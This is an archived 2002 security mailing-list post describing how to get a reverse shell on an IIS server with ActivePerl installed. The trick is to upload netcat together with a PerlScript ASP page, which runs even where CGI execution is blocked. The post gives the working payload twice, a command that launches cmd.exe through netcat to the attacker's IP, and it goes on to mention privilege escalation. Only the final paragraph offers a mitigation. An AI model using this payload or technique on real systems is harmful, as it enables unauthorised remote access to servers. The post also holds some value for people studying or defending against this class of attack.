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use of Perlscript to bypass executable restrictions
From: Mike Shaw <mshaw () wwisp com>
Date: Mon, 04 Mar 2002 09:50:47 -0600

Here's one for the bag-o-tricks....

Goal:  Get a netcat prompt
Method:  upload a script to IIS that will execute nc.exe via the web server.
Problems: No "executable/CGI" directory, inability to upload to an "executable/CGI" directory

If you can get access to the webtree of an IIS server with ActivePerl installed, one method to snag the coveted prompt is to upload netcat and a perl script that will execute netcat to spawn a shell when hit via the web browser. The perl script should just contain something like this (launchnc.pl):

system("nc -e cmd.exe -n [myip] 25");

Unfortunately, not every web site has a cgi-bin or equivalent and you'll get an execute permission denied. If they do have a cgi-bin, the physical location may be 'remote' from the regular web root with little or no clue as to where it's mapped to. Also, even unsecured or improperly configured frontpage extensions will usually still prevent you from uploading a cgi script even if you find a directory that's willing to execute it.

But many sites have 'scripting' enabled on nearly all directories.

An oft overlooked feature of ActivePerl is "perlscript". This is a type of perl scripting that can be placed directly into ASP pages, and doesn't seem to be considered a CGI type of script by IIS. The good news in a pen-test is that you can do most of the same things using perlscript ASP as you can in a full blown Perl CGI (launchnc.asp):

<%@ Language = PerlScript %>

system("nc -e cmd.exe -n [myip] 25");

Note that this will work where nc.exe is in the same directory as the script (the lack of 'executable' permission won't bother it). If nc.exe is somewhere else you'll have to provide a path.

So as long as you can upload to a directory with scripting enabled, you're in business (or bid-ness, as they say where I'm from). Of course, you'll be in the context of IUSR so standard privilege escalation procedures apply. In addition to spawning nc, think of all the powerful tools you could write using perlscript....

As far as I know perlscript is installed by default when ActivePerl is installed. I haven't tried it, but it would seem that NOT installing perlscript is the only surefire way to avoid this type of abuse. The only thing I found on ActiveState's pages regards disabling it for client-side vulnerabilities (which is a whole other topic).

(may be wrapped)

Anyway, this isn't some big discovery, but it's something I hadn't thought of until I actually started looking at Perl on a particular IIS host. Maybe someone else will find it useful in the wild.


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